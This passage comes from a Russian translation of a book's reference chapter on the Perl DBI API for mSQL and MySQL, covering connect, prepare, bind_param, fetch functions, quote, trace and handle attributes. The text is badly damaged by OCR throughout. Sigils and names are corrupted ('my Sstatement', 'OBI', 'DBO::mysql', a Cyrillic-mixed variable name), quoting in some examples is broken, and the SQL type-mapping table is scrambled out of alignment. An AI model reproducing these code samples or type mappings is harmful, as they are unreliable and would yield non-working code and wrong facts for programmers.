    DBI: : bind_param подставляет в команды действительные значения вместо меток-заполнителей '?' (см. OBI:: prepare). Первый аргумент - номер метки-заполнителя в команде, нумерация начинается с 1 (слева направо). Второй аргумент - подставляемое значение. Необязательный третий аргумент задает тип подставляемого значения. Это может быть скаляр или ссылка на хэш вида { TYPE => &DBI:: SQL_TYPE } , где 'SQL_TYPE' - тип параметра. На момент написания этой книги DBI поддерживал SQL-типы (недокументированные) SQL_CHAR, SQL_NUMERIC, SQL_DECIMAL, SQL_INTEGER, SQL_SMALLINT, SQL_FLOAT, SQL_REAL, SQL_DOUBLE и SQL_VARCHAR. Соответствие их фактическим типам, используемым DBD::mSQL и DBD::Mysql, не документировано. Тем не менее в таблице 21-1 приведен список соответствия на данный момент. Если подстановка невозможна, функция возвращает undef.


    Таблица 21-1. Соответствие типов SQL



    DBI



    MSQL



    MySQL



    SQL_CHAR



    CHAR TYPE



    FIELD TYPE CHAR







    IDENT TYPE



    FIELD TYPE DATE







    NULL TYPE



    FIELD TYPE DATETIME







    DATE TYPE



    FIELD TYPE NULL







    MONEY TYPE



    FIELD TYPE TIMESTAMP







    TIME TYPE



    FIELD TYPE TIME







    IDX TYPE











    SYSVAR TYPE











    ANY TYPE







    SQL_NUMERIC







    FIELD TYPE LONG FIELD TYPE LONGLONG FIELD_TYPE_SHORT



    SQL_DECIMAL







    FIELD_TYPE_DECIMAL



    SQLJNTEGER



    INT_TYPE



    FIELD_TYPE_INT24



    SQL SMAL-LINT



    UINT_TYPE



    FIELD_TYPE_INT24



    SQL_FLOAT







    FIELD_TYPE_FLOAT



    SQL_REAL



    REAL TYPE LAST_REAL_TYPE



    FIELD JTYPE_DOUBLE



    SQLJDOUBLE







    FIELD_TYPE_DOUBLE



    SQL_VARCHAR



    TEXT_TYPE



    FIELD_TYPE_TINY BLOB FIELD_TYPE_MEDIUM BLOB FIELD TYPE BLOB FIELD TYPE LONG BLOB FIELD TYPE VAR STRING FIELD TYPE STRING

    Пример

    use DBI;

    my $db = DBI->connect('DBD:msql:mydata','me','mypass');

    my Sstatement = $db->prepare(

    "SELECT name, date FROM myothertable WHERE name like ? OR name like ?");

    $statement->bind_param(1,'J%','SQL_CHAR');

    $statement->bind_param(2,'%oe%', { TYPE => &DBI::SQL_CHAR });

    # Теперь команда будет такой:

    # SELECT name, date FROM myothertable WHERE name like 'J%' or name like

    '%oe%'

    DBI::connect

    $db = DBI->connect($data_source, $username, $password);

    $db = DBI->connect($data_source, $username, $password, \%attributes);

    DBI:: connect требует по крайней мере три аргумента и необязательный четвертый. Через возвращаемый описатель выполняются все операции с сервером базы данных. Первый аргумент является источником данных. Список имеющихся источников можно получить с помощью DBI: :data_sources . Для mSQL и MySQL формат источника данных 'DBI:mSQL:$database:Shostname:Sport' и 'DBI:mysql:Sdatabase:Shostname:Sport' соответственно. Можно опустить :Sport при соединении через стандартный порт. Аналогично можно опустить ': Shostname: Sport' при соединении с сервером на локальном узле с помощью сонета Unix. Имя базы данных указывать обязательно.


    Второй и третий аргументы — имя пользователя и пароль для подключения к базе данных. Для mSQL оба аргумента должны иметь значение 'undef'. Если они заданы как 'jndef при работе с MySQL, то у пользователя, запустившего программу, должны быть права доступа к требуемым базам данных.

    Последний аргумент необязателен и является ссылкой на ассоциативный массив. Данный хэш позволяет определить некоторые атрибуты соединения. В настоящее время поддерживаются только атрибуты PrintError, RaiseError и AutoCommit. Для сброса им нужно придать значение 0, для установки - какое-либо истинное значение. По умол-чаник) PrintError и AutoCommit включены, a RaiseError - сброшен. Поскольку в данное время ни mSQL, ни MySQL не поддерживают транзакции, атрибут AutoCommit должен быть установлен (более подробно см. Атрибуты).

    При неудаче соединения возвращается неопределенное значение undef, и в $DBI;:errstr помещается ошибка.

    Пример

    use DBI;

    my $db1 = DBI->connect('DBI: mSQL:mydata',undef,undef);

    # Теперь $db1 представляет соединение с базой данных 'mydata'на локальном

    # сервере mSQL.

    my $db2 = DBI->connect( 'DBI:mysql:mydata:myser-ver.com','me','mypassword');

    # Теперь $db2 представляет соединение с базой данных 'mydata' сервера MySQL

    # 'myserver.com' через порт по умолчанию.

    # При соединении использовались имя пользователя 'те' и пароль 'mypassword'.

    my $db3 = DBI->connect('DBI:mSQL:mydata',undef,undef, {

    RaiseError => 1 });

    # Теперь $db3 - такое же соединение, как $db1, за исключением того, что

    # установлен атрибут 'RaiseError'.

    DBI::data_sources

    @data_sources = DBI->data_sources($dbd_driver);

    DBI: :data_sources принимает в качестве аргумента имя модуля DBD и возвращает все имеющиеся для этого драйверы базы данных в форма- " те, пригодном к использованию в качестве источника данных функцией DBI::connect . Программа заканчивает свое выполнение с ошибкой, если задано неверное имя драйвера DBD. В текущих версиях модулей Msql-Mysql драйвер для mSQL называется 'mSQL', а для MySQL -'mysql'.


    Пример

    use DBI;

    my §msql_data_sources = DBI->data_sources('mSQL');

    my @mysql_data_sources = DBI->data_sources('mysql');

    # Должны быть установлены DBD::mSQL и DBO::mysql, иначе

    # выполнение программы прекратится.

    print "mSQL databases:\n" . join("\n",@msql_data_sources) , "\n\n";

    print "MySQL databases:\n" . join("\n",@mysql_data_sources) . "\n\n";

    DBI::do

    $rows_affected = $db->do($statement);

    $rows_affected = $db->do($statement, \%unused);

    $rows_affected = $db->do($statement, \%unused, @bind_values);

    DBI: : do непосредственно выполняет SQL-команду, не являющуюся командой SELECT, и возвращает число измененных строк. Этот способ быстрее, чем пара DBI: :prepare/DBI: :execute , требующая два вызова функции. Первый аргумент - сама команда SQL. Второй аргумент не используется в DBD::mSQL и DBD::mysql, но для других модулей DBD может содержать ссылку на хэш атрибутов. Последний аргумент -массив значений для подстановки в команду вместо меток-заместителей '?'. Подстановка происходит слева направо. Дополнительно DBI: : do автоматически заключит подставляемые строковые значения в кавычки.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my $rows_affected = $db->do("UPDATE mytable SET name='Joe' WHERE name='Bob"');

    print "$rows_affected Joe заменены на Bob's\n";

    my $rows_affected2 = $db->do("INSERT INTO mytable (name) VALUES (?)", {}, ("Sheldon's Cycle"));

    # После заключения в кавычки и подстановки

    # серверу базы данных посылается команда

    #INSERT INTO mytable (name) VALUES ('Sheldon's Cycle')

    DBI-disconnect

    $result = $db->disconnect;

    DBI: : disconnect отсоединяет описатель базы данных от сервера баз данных. Для mSQL и MySQL в этом обычно нет необходимости, поскольку эти базы данных не поддерживают транзакций, и неожиданное отсоединение не причинит вреда. Однако от баз данных, поддерживающих транзакции, нужно отсоединяться явным образом. Поэтому, чтобы получить переносимую программу, нужно всегда отсоединяться от базы данных перед выходом. При ошибке во время отсоединения возвращается ненулевое значение, и в $DBI: :errstr устанавливается ошибка.


    Пример

    use DBI;

    my $db1 = DBI->connect( 'DBI:mSQL:mydata',undef,undef);

    my $db2 = OBI->connect('DBI:mSQL:mydata2',undef,undef);

    $db1->disconnect;

    # Соединение 'mydata' разорвано. Соединение с 'mydata2'

    # продолжает действовать.

    DBI::dump_results

    $neat_rows = DBI::dump_results($statement_handle);

    $neat_rows = DBI::dump_results($statement_handle, Smaxlen);

    $neat_rows = DBI::dump_results($statement_handle, $maxlen, $line_sep);

    $neat_rows = DBI::dump_results($statement_handle, $maxlen, $line_sep,$field_sep);

    $neat_rows = DBI::dump_results($statement_handle, $maxlen, $line_sep,$field_sep, $file_handle);

    DBI: : dump_results выводит содержание описателя команды в удобном и упорядоченном виде, применяя к каждой строке DBI: :neat_string . Функцию удобно использовать для быстрой проверки результатов запроса во время разработки программы. Единственный обязательный аргумент - описатель команды. Второй аргумент, если имеется, задает максимальный размер полей в таблице, по умолчанию равный 35. Третий аргумент задает строку, используемую для разграничения строк данных, по умолчанию- \n. Четвертый аргумент задает строку, используемую для разделения значений полей в строке, по умолчанию используется запятая. Последний аргумент задает ссылку на глобальный описатель файла, в который выводятся результаты. По умолчанию это STDOUT. Если невозможно прочесть описатель команды, возвращается значение undef.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my Squery = "SELECT name, date FROM myothertable";

    my $myothertable_output = $db->prepare($query);

    $myothertable_output->execute;

    print DBI::dump_results($myothertable_output);

    # Вывести результаты в аккуратной таблице.

    open(MYOTHERTABLE, ">>myothertable");

    print DBI: :dump_results($iriyothertable_output,

    undef,undef,undef,\*MYOTHERTABLE);

    # Снова вывести результаты в файл 'myothertable,'.

    $DBI::err

    $error_code = $handle->err;


    $DBI:: err возвращает код последней по времени ошибки DBI. Код ошибки соответствует сообщению об ошибке, возвращаемому функцией $DBI: :errstr. Переменная $DBI: :err выполняет ту же задачу. Эта функция применима с описателями как баз данных, так и команд.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mysql:mydata',

    'webuser','super_secret_squirrel');

    # Этот запрос имеет синтаксическую ошибку...

    my Soutput = $db->prepare('SLECT * from mydata');

    $output->execute;

    if (not $output) {

    print "Error $DBI:err: $DBI:errstr\n"; }

    $DBI::errstr

    $error = $handle->errstr;

    Эта функция возвращает сообщение о последней происшедшей ошибке DBI. Значение сохраняется до возникновения новой ошибки, когда оно будет заменено. Если во время данного сеанса ошибок не было, функция возвращает undef. Переменная $DBI: :errstr выполняет ту же задачу. Эта функция применима с описателями как баз данных, так и команд.

    Пример

    Use DBI;

    my $db = DBI->connect('DBI:mysql:mydata',

    'wcbuscr','super_secret_squirrel');

    my $error = $db->errstr;

    warn("Boj последняя ошибка DBI: $error");

    DBI::execute

    $rows_affected = $statement_handle->execute;

    $rows_affected = $statement_handle->execute(@bind_values);

    DBI: : execute выполняет SQL-команду, содержащуюся в описателе команды. Для запроса, не являющегося SELECT, функция возвращает число измененных строк. Функция возвращает -1, если число строк неизвестно. Для запроса типа SELECT при успехе возвращается истинное значение. Если заданы аргументы, они используются для подстановки имеющихся в команде меток-заместителей (см. DBI: : prepare ).

    Пример

    use DBI;

    my $db = DBI->connect('OBI:mSQL:mydata',undef,undef);

    my $statement_handle = $db->prepare("SELECT * FROM mytable");

    my $statement_handle2 = $db->prepare("SELECT name, date FROM myothertable WHERE name like ?");

    $statement_handle->execute;

    # Выполнена первая команда.К значениям можно

    # обращаться через описатель.


    $statement_handle->execute("J%");

    # Выполнена вторая команда следующего содержания:

    # SELECT name, date FROM myothertable WHERE name like 'J%'

    DBI::fetchall_arrayref

    $ref_of_array_of_arrays = $statement_handle->fetchall_arrayref;

    DBI: :fetchall_arrayref возвращает все оставшиеся данные в описателе команды в виде ссылки на массив. Каждая строка массива - ссылка на другой массив, в котором содержатся данные этой строки. Если в описателе команды нет данных, функция возвращает неопределенное значение undef. Если с этим описателем команды уже выполнялись функции DBI: :fetchrow_ *, то DBI: :fetchall_arrayref возвращает все данные, оставшиеся после последнего обращения к DBI: : fetch row *.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata' ,undef,undef);

    my $query = "SELECT name, date FROM myothertable";

    my Soutput = $db->prepare($query);

    $output->execute;

    my $data = $output->fetchall_arrayref;

    # Теперь $data является ссылкой на массив массивов. Каждый элемент

    # 'главного' массива сам является ссылкой на массив, содержащий строку данных.

    print "Четвертой строкой данных в таблице является: " . $data->[3][1]. "\n";

    # Элемент 3 'главного' массива является массивом, содержащим четвертую

    # строку данных, # Элемент 1 этого массива является датой.

    DBI::fetchrow_array

    @row_of_data = $statement_handle->fetchrow;

    DBI: : fetch row возвращает очередную строку данных из описателя команды, созданного DBI: :execute . Каждое последующее обращение к DBI: : fetchrow возвращает очередную строку данных. Когда данных больше нет, функция возвращает неопределенное значение undef. Порядок элементов в результирующем массиве определяется исходным запросом. Если запрос имел вид SELECT * FROM . . . , то элементы следуют в том порядке, в котором они были определены в таблице.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my $query = "SELECT name, date FROM myothertable WHERE name LIKE 'Bob%'";


    my $myothertable_output = $db->prepare($query);

    $myothertable_output->execute;

    my ($name, $date);

    # Это первая строка из $myothertable_output.

    ($name, $date) = $myothertable_output->fetchrow_array;

    # Это следующая строка...

    ($name, $date) = $myothertable_output->fetchrow_array;

    # И еще одна...

    my @name_and_date = $myothertable_output->fetchrow_array;

    # и т.д.....

    DBI::fetchrow_arrayref, DBI::fetch

    $аrrау_rеГегепсе = $statement_handle->fetchrow_arrayref;

    $array_reference = $statement_handle->fetch;

    DBI: : fetchrow_arrayref и ее псевдоним DBI: : fetch работают точно так же, как DBI: :fetchrow_array , но возвращают не фактический массив, а ссылку на него.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata', undef, undef);

    my $query = "SELECT name, date FROM myothertable WHERE name LIKE -Bob%'";

    my $myothertable_output = $db->prepare($query);

    $myothertable_output->execute;

    my $name1 = $myothertable_output->fetch->[0]

    # Это поле 'name' из первой строки данных,

    my $date2 = $myothertable_output->fetch->[1]

    # Это поле 'date' из второй строки данных.

    my ($name3, $date3) = @{$myothertable_output->fetch};

    # Это целиком третья строка данных.

    $myothertable_output->fetch

    # возвращает ссылку на массив. Можно 'преобразовать' ее в действительный

    # массив, используя конструкцию @{}.

    DBI::fetchrow_hashref

    $hash_reference = $statement_handle->fetchrow_hashref;

    DBI: :fetchrow_hashref работает так же, как OBI: :fetchrow_arrayref , но возвращает ссылку на ассоциативный, а не на обычный массив. Ключами хэша являются имена полей, а значениями - значения в этой строке данных.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my $query = "SELECT * FROM mytable";

    my $mytable_output = $db->prepare($query);

    $mytable_output->execute;

    my %row1 = $mytable_ouput->fetchrow_hashref;

    my @field_names = keys %row1;

    # @field_names содержит теперь имена всех полей в запросе.


    # Это делается только один раз. Во всех следующих строках будут те же поля,

    my @row1 = values %row1;

    DBI::finish

    $result = $statement_handle->finish;

    DBI:: finish освобождает все данные в описателе команды, чтобы можно было уничтожить описатель или снова подготовить его. Некоторым серверам баз данных это необходимо для освобождения соответствующих ресурсов. DBD::mSQL и DBD::mysql не нуждаются в этой функции, но для переносимости кода следует использовать ее по окончании работы с описателем команды. Функция возвращает неопределенное значение undef, если описатель не удается освободить.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mysql:mydata','me','mypassword');

    my $query = "SELECT * FROM mytable";

    my $mytable_output = $db->prepare($query);

    $mytable_output->execute;

    $mytable_output->finish;

    # Теперь можно переназначить $mytable_output или подготовить для него

    # другую команду SQL.

    DBI::func

    $handlc->func(@func_argumcnts, $func_name);

    @dbs = $db->func("$hostname", '_ListDBs');

    @dbs = $db->func("$hostname:Sport", '_ListDBs');

    @tables = $db->func('_ListTables');

    $result = $drh->func( $database, '_CreateDB' );

    Sresult = $drh->func( Sdatabase, '_DropDB' );

    DBI::func вызывает специализированные непереносимые функции, включенные в различные драйверы DBD. Она используется с описателем базы данных или описателем команды, в зависимости от назначения специализированной функции. По возможности следует использовать равносильную переносимую функцию. При использовании специализированной функции сначала передаются ее аргументы как скаляр, а затем - имя функции. DBD::mSQL и DBD::mysql реализуют следующие функции:

    _ListDBs

    Функция _ListDBs принимает имя узла и необязательный номер порта и возвращает список имеющихся у сервера баз данных. Лучше использовать переносимую функцию DBJ::data_sources .

    _ListTables

    Функция _ListTables возвращает список таблиц, имеющихся в текущей базе данных.


    _CreateDB

    Функция _CreateDB принимает в качестве аргумента имя базы данных и пытается создать эту базу данных на сервере. Для работы с этой функцией необходимо иметь право создания баз данных. Функция возвращает -1 в случае неудачи и 0 в случае успеха.

    _DropDB

    Функция _DropDB принимает в качестве аргумента имя базы данных и пытается удалить с сервера эту базу данных. Данная функция не выводит пользователю сообщений и при успешном выполнении удаляет базу данных навсегда. Для работы с этой функцией необходимо иметь право удаления баз данных. Функция возвращает -1 в случае неудачи и 0 в случае успеха.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mysql:mydata','me','mypassword');

    my @tables =.$db->func('„List-Tables');

    # @tables содержит теперь список таблиц в 'mydata'.

    DBI::neat

    $neat_string = DBI: :neat($s'tring);

    $neat_string = DBI::neat($string, $maxlen);

    DBI: : neat Принимает в качестве аргументов строку и необязательную длину. Затем строка форматируется для аккуратного вывода. Вся строка заключается в одиночные кавычки. Непечатаемые символы заменяются точками. Если задан аргумент длины, все символы после максимальной длины удаляются, а строка заканчивается тремя точками (...). Если длина не указана, по умолчанию используется значение 400.

    Пример

    use DBI;

    my $string = "Это очень, очень длинная строка, в которой много чего написано. ";

    my$neat_string = OBI: :neat($string,14);

    # Теперь $neat_string такая: 'Это очень, оче...

    DBI::neat_list

    $neat_string = DBI::neat_list(\@listref, $maxlen);

    $neat_string = DBI::neat_list(\@listref, $maxlen, $field_seperator);

    DBI: :neat_list принимает три аргумента и возвращает аккуратно отформатированную строку, пригодную для вывода. Первый аргумент содержит ссылку на список выводимых значений. Второй аргумент -максимальная длина каждого поля. Последний аргумент - строка, используемая для разделения полей. Для каждого элемента списка вызывается OBI: :neat с использованием заданной максимальной длины. В результирующих строках для разделения полей используется последний аргумент. Если последний аргумент не задан, в качестве разделителя применяется запятая.


    Пример

    use DBI;

    my @list = (' Bob', 'Joe', 'Frank');

    my $neat_string = DBI::neat_list(\@list, 3);

    # Теперь $neat_string такая: 'Bob', 'Joe', 'Fra...

    DBI::prepare

    $statement_handle = $db->prepare($statement);

    $statement_handle = $db->prepare($statement, \%unused);

    DBI: :prepare принимает в качестве аргумента SQL-команду, которую некоторые модули баз данных переводят во внутреннюю компилированную форму, исполняемую быстрее при вызове DBI: : execute . Эти модули DBD (не DBD::mSQL или DBD::mysql) принимают также ссылку на хэш необязательных атрибутов. Серверы mSQL и MySQL в настоящее время не реализуют концепцию подготовки команд, поэтому DBI: : prepare просто запоминает команду. По желанию вместо значений данных в команду можно вставить любое количество символов '?'. Эти символы известны как метки-заместители (placeholders). Функция DBI: : bind_param осуществляет подстановку действительных значений вместо меток-заместителей. Если по какой-либо причине команду нельзя подготовить, функция возвращает undef.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mysql:mydata','me','mypassword');

    my $statement_handle = $db->prepare('SELECT * FROM mytable');

    # Теперь эта команда готова к выполнению.

    My $statement_handle = $db->prepare('SELECT name, date FROM myothertable WHERE name like ?');

    # Эта команда будет готовя к выполнению после подстановки # с использованием функции DBI::bind_param.

    DBI::quote

    $quoted_string = $db->quote($string);

    DBI::quote принимает строку для использования в качестве запроса SQL и возвращает ее копию с правильно расставленными для ввода в запрос кавычками, в том числе расставляя корректные кавычки по концам строки.

    Пример

    use DBI;

    my $db1 = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my $db2 = DBI->connect('DBI:mysql:myotherdata','me','mypassword');

    my $string = "Sheldon's Cycle";

    my $qs1 = $db1->quote($string);

    # $qs1: 'Sheldon\'s Cycle' (включая наружные кавычки)

    my $qs2 = $db2->quote($string);


    # $qs2 : 'Sheldon's Cycle' (включая наружные кавычки)

    # Теперь обе строки годятся для использования в командах для своих

    # соответствующих серверов баз данных.

    DBI::rows

    $number_of_rows = $statement_handle->rows;

    Del: : rows возвращает число строк данных, содержащихся в описателе команды. Для DBD::mSQL и DBD::mysql эта функция дает точное число для всех команд, включая SELECT. Для многих других драйверов, которые не хранят в памяти сразу все результаты, эта функция надежно работает только для команд, не являющихся SELECT. Это следует учитывать при написании переносимых программ. Функция возвращает —1, если по какой-либо причине число строк неизвестно. Переменная $DBI: : rows выполняет ту же задачу.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my $query = "SELECT name, date FROM myothertable WHERE name='Bob'";

    my $myothertable_output = $db->prepare($query);

    $myothertable_output->execute;

    my $rows = $myotnertable_output->rows;

    print "В таблице 'myothertable' есть $rows строк 'Воb'\n";

    DBI::state

    $sql_error = $handle->state;

    DBI: : state возвращает код ошибки SQL SQLSTATE последней по времени ошибки DBI. В данное время DBD::mSQL и DBD^mysql сообщают 'S1000' для всех ошибок. Эта функция доступна для описателей баз данных и команд. Переменная $ОВ1: : state выполняет ту же задачу.

    Пример

    Use OBI;

    my $db = DBI->connect('DBI:mysql:mydata',

    'webuser','super_secret_squirгеl');

    my $sql_error = $db->state;

    warn("BoT последняя по времени ошибка DBI SQL: $sql_error");

    DBI::trace

    DBI->trace($trace_level)

    DBI->trace($trace_level, $trace_file)

    $handle->trace($trace_level);

    $handle->trace($trace_level, $trace_file);

    DBI:: trace используется в основном для отладки. Если уровень трассировки установлен равным 2, выводится полная отладочная информация. Установка уровня 0 отключает трассировку. DBI->trace осуществляет трассировку для всех описателей, a $handle->trace - только для данного описателя — базы данных или команды. При наличии в DBI- >t race или $handle->trace второго аргумента отладочная информация выводится в указанный файл. Также трассировку можно включить, установив значение переменной окружения DBI_TRACE. Если переменная окружения установлена равной числу (в настоящее время 0 или 2), включается трассировка всех описателей на этом уровне. При другом значении переменной уровень трассировки устанавливается равным 2, а само значение используется в качестве имени файла для вывода отладочной информации.


    Пример

    use DBI;

    my $db1 = DBI->connect('DBI:mysql:mydata',

    'webuser','super_secret_squirrel');

    my $db2 = DBI->connect('DBI:mSQL:myotnerdata',undef,undef);

    DBI >trace(2);

    # Включена трассировка для всех описателей на уровне 2.

    $db2->trace(0);

    # Отключена трассировка для $db2, но продолжает действовать для $db1

    $db1->trace(2,'DBI.trace');

    # Теперь включена трассировка для всех описателей на уровне 2, выдача

    # посылается в файл 'DBI.trace'.

    DBI::commit, DBI::rollback, DBI::ping

    $result = $db->commit;

    $result = $db->rollback;

    Sresult = $db->ping;

    DBI: :commit и DBI: : rollback полезны только при работе с серверами, поддерживающими транзакции. При работе с DBD::mSQL и DBD::mysql они не оказывают никакого эффекта. DBD: :ping пытается проверить, запущен ли сервер базы данных. В DBD::mSQL и DBD::mysql она не реализована.

    Атрибуты

    $db->{AutoCommit}

    $handle->{ChopBlanks}

    $handle->{CompatMode}

    $handle->{InactiveDestroy}

    $handle->{LongReadLen}

    $handle->{LongTruncOk}

    $handle->{PrintError}

    $handle->{RaiseError}

    $handle->{Warn}

    $statement_handle->{CursorName}

    $statement_handle->{insertid} (только MySQL)

    $statement_handle->{is_blob} (только MySQL)

    $statement_handle->{is_key} (только MySQL)

    $statement_handle->{is_not_null}

    $statement_handle->{is_num}

    $statement__handle->{is_pri_key} (только MySQL и mSQL 1.x)

    $statement_handle->{length}

    $statement_handle->{max_length} (только MySQL)

    $statement_handle->{NAME}

    $statement_handle->
    $statement_handle->{NUM_OF_FIELDS}

    $statement_handle->{NUM_OF_PARAMS}

    $statement_handle->{table}

    $statement_handle->{type}

    В DBI.pm API определено несколько атрибутов, которые можно читать и устанавливать в любой момент. Присвоение значения атрибуту может определенным образом изменить поведение текущего соединения. Присвоение любого отличного от нуля значения атрибуту устанавливает его. Присвоение значения 0 атрибуту сбрасывает его. Некоторые значения определены только для конкретных баз данных и непереносимы. Ниже следуют атрибуты, применимые как к описателям баз данных, так и к командам.


    $db->{AutoCommit}

    Этот атрибут оказывает влияние на поведение серверов баз данных, поддерживающих транзакции. Для mSQL и MySQL он всегда должен быть установлен (значение по умолчанию). Попытка изменить его прерывает выполнение программы.

    $handle->{ChopBlanks}

    При установке этого атрибута отсекаются все ведущие и замыкающие пробелы в данных, возвращаемых запросом (например, при вызове DBI: : fetch row ). Все производные от данного описатели наследуют значение этого атрибута. Значение по умолчанию - "сброшен".

    $handle->{InactiveDestroy}

    Назначение этого атрибута - сохранить процесс при ветвлении (fork), чтобы дочерний процесс мог пользоваться родительским описателем. Его следует установить в родительском или дочернем процессе, но не в обоих. Значение по умолчанию - "сброшен".

    $handle-> {PrintError}

    При установке этого атрибута выводятся все предупредительные сообщения. При сброшенном атрибуте доступ к ошибкам осуществляется только через $DBI: :errstr. Все производные от данного описатели наследуют значение этого атрибута. Значение по умолчанию -"установлен".

    $handle->{RaiseError}

    При установке этого атрибута все ошибки возбуждают в программе исключительные ситуации, прерывая ее выполнение, если не определен обработчик '__DIE__'. Все описатели, производные от этого, наследуют значение этого атрибута. Значение по умолчанию -"сброшен".

    $handle->{Warn}

    При установке этого атрибута выводятся предупредительные сообщения о неудачных приемах программирования (особенно пережитках Perl 4). Сброс этого атрибута отключает предупреждения DBI, что допустимо только при полной уверенности в своем мастерстве. Все производные от данного описатели (например, описатель команды, происходящий от описателя базы данных) наследуют значение этого атрибута. Значение по умолчанию — "установлен".

    $statement_handle->{insertid}

    Непереносимый атрибут, определенный только для DBD::mysql. Он возвращает из таблицы текущее значение поля auto_increment (если таковое имеется). Если поле auto_increment не существует, атрибут возвращает undef.


    $statement_handle->{is_blob}

    Это непереносимый атрибут, определенный только для DBD::mysql. Атрибут возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, имеет ли оно тип BLOB. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{is_blob} возвращает undef.

    $statement_handle->{is_key}

    Непереносимый атрибут, определенный только для DBD::mysql. Он возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, определено ли оно как KEY. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{is_key} возвращает undef.

    $statement_handle->{is_not_null}

    Это непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Он возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, определено ли оно как 'NOT NULL' . Для описателя команды, который был создан не выражением SELECT, данный атрибут возвращает undef. Того же результата можно достичь в переносимом виде, используя $statement_handle->{NULLABLE} .

    $statement_handle->{is_num}

    Это непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Атрибут возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, имеет ли оно числовой тип. Для описателя команды, созданного не выражением SELECT, $statement_handle->{is_num} возвращает undef.

    $statement_handle->{is_pri_key}

    Это непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. При использовании с DBD::mSQL он оказывает влияние только для серверов mSQLl.x, поскольку mSQL2.x не использует первичные ключи. Атрибут возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, является ли оно первичным ключом.

    Для описателя команды, созданного не выражением SELECT, данный атрибут возвращает undef.


    $statement_handle->{length}

    Непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Этот атрибут возвращает ссылку на список максимально допустимых размеров полей, содержащихся в описателе команды. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{length} возвращает undef.

    $statement_handle->{max_length}

    Это непереносимый атрибут, определенный только для DBD::mysql. Атрибут возвращает ссылку на список фактических максимальных размеров полей, содержащихся в описателе команды. Для описателя команды, который был создан не выражением SELECT, данный атрибут возвращает undef.

    $statement_handle->{NAME}

    Атрибут возвращает ссылку на список имен полей, содержащихся в описателе команды. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{NAME} возвращает undef.

    $statement_handle->{NULLABLE}

    Этот атрибут возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, может ли оно иметь значение NULL. Поле, определенное как 'NOT NULL', даст в списке значение 0. Остальные поля дадут значение 1. Для описателя команды, созданного не выражением SELECT, атрибут возвращает undef.

    $statement_handle->{NUM_OF_FIELDS}

    Атрибут возвращает число колонок данных, содержащихся в описателе команды. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{NUM_OF_FIELDS} возвращает 0.

    $statement_handle->{NUM_OF_PARAMS}

    Этот атрибут возвращает число меток-заместителей в описателе команды. Метки-заместители обозначаются в команде символом '?'. Для подстановки вместо меток-заместителей надлежащих значений используется функция DBI: : bind_values .

    $statement_handle->{table}

    Это непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Атрибут возвращает ссылку на список имен таблиц, к которым осуществлялся доступ в запросе. Полезно использовать для SELECT с соединением нескольких таблиц.


    $statement_handle->{type}

    Непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Он возвращает ссылку на список типов полей, содержащихся в описателе команды. Для описателя команды, созданного не выражением SELECT, $statement_handle->{max_length} возвращает undef. Значениями списка являются целые числа, соответствующие перечислению в заголовочном файле С mysql_com.h из дистрибутива MySQL. Сейчас способа доступа к именам этих типов из DBI не существует. Но доступ к типам возможен через функцию &Mysql: : FIELD_TYPE_ * в Mysql.pm. В DBD::mysql имеется также недокументированный атрибут $statement_handle->{format_type_name} , идентичный $statement_handle- >{type} , за исключением того, что вместо целых чисел возвращает SQL-названия типов. Следует подчеркнуть, что это недокументированный атрибут, и автор DBD::niysql высказал свое намерение убрать его, как только в DBI будет реализована такая же функция.

    $statement_handle->{CursorName}

    $handle->{l_ongReadLen}

    $handle->{l_ongTruncOk}

    $handle->{CompatMode}

    Все эти атрибуты не поддерживаются в DBD::mSQL и DBD::mysql. Присвоение им значений ничего не даст, а чтение возвратит 0 или undef. Исключение составляет атрибут $statement_handle->{CursorName} . В настоящее время любое обращение к нему "убьет" программу.

    Пример

    use DBI;

    my $db = DBI->connect('mysql:mydata','me','mypassword');

    $db->{RAISE_ERROR} = 1;

    # Теперь любая ошибка DBI/DBD убьет программу.

    my $statement_handle = $db->prepare('SELECT * FROM mytable');

    $statement_handle->execute;

    my @fields = @{$statement_handle->{NAME}};

    # @fields содержит теперь список с именами всех полей в 'mytable'.



    Msql.pm API

    use Msql

    use Msql;

    Это объявление должно быть в любой программе Perl, использующей модуль Msql.pm.

    Msql::connect

    $db = Msql->connect;

    $db = Msql->connect($host);

    $db = Msql->connect($host, Sdatabase);

